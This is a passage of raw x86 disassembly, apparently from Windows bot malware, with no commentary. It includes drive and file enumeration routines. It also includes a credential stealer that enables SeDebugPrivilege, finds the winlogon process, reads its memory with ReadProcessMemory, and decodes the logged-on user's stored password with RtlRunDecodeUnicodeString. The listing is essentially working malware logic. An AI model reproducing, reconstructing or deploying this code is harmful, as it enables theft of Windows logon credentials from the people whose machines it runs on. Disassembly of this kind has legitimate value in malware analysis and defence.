		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437F4C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437F10
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB59C	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB59C	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_2	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CAD	proc near		; DATA XREF: sub_401ACD+689Fo

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41AFE0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_416D02
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_416D02:				; CODE XREF: sub_416CAD+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_437FAC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_416D47
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409A72
		add	esp, 14h


loc_416D47:				; CODE XREF: sub_416CAD+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_416DC8
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_437F8C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_416DA8
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409A72
		add	esp, 14h


loc_416DA8:				; CODE XREF: sub_416CAD+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_416CAD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DC8	proc near		; CODE XREF: sub_416CAD+B9p
					; sub_416DC8+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset dword_437FF0
		push	esi
		push	eax
		call	sub_41B980
		mov	edi, dword_427000
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset dword_429A90
		jz	short loc_416E85


loc_416E14:				; CODE XREF: sub_416DC8+BBj
		test	[ebp+var_144], 10h
		jz	short loc_416E71
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_416E38
		cmp	[ebp+var_117], 0
		jz	short loc_416E71
		cmp	[ebp+var_117], 2Eh
		jz	short loc_416E71


loc_416E38:				; CODE XREF: sub_416DC8+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416DC8
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_416E71:				; CODE XREF: sub_416DC8+53j
					; sub_416DC8+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_427118	; FindNextFileA
		test	eax, eax
		jnz	short loc_416E14


loc_416E85:				; CODE XREF: sub_416DC8+4Aj
		push	[ebp+var_4]
		call	dword_42710C	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416F0B


loc_416EBC:				; CODE XREF: sub_416DC8+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset dword_437FD4
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_427118	; FindNextFileA
		test	eax, eax
		jnz	short loc_416EBC


loc_416F0B:				; CODE XREF: sub_416DC8+F2j
		push	esi
		call	dword_42710C	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416DC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_4381C8
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4270B8	; LoadLibraryA
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44AC, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44A0, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46B0, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44A8, eax
		call	esi	; GetProcAddress
		mov	dword_4D44A4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34A0
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4D3CA0
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4D46B8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D46B8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438090
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_438058
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_43802C


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	dword_427138	; FreeLibrary
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437FF8


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_427144
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44AC
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_427140	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44AC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D44A0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46B0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D44A8


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_427140	; RtlFreeHeap
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D44A8


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	dword_427084	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_427154	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_427144
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	dword_42714C	; VirtualQueryEx
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D34A0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CA0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_427114	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_427110	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46C4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46BC, eax
		mov	dword_4D46C0, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_427140	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	dword_427068	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_427084	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_427154	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_42714C	; VirtualQueryEx
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_427144	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	dword_427150	; ReadProcessMemory
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D34A0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3CA0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_427140	; RtlFreeHeap
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		call	dword_427068	; CloseHandle


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46BC, ebx
		mov	dword_4D46C0, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	dword_427068	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46B8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	dword_427144	; RtlAllocateHeap
		mov	ecx, dword_4D46B8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46C0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46C4
		push	eax
		call	dword_4D44A4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44B0
		push	offset dword_4D34A0
		push	offset dword_4D3CA0
		push	[ebp+arg_0]
		push	offset dword_438214
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_427140	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
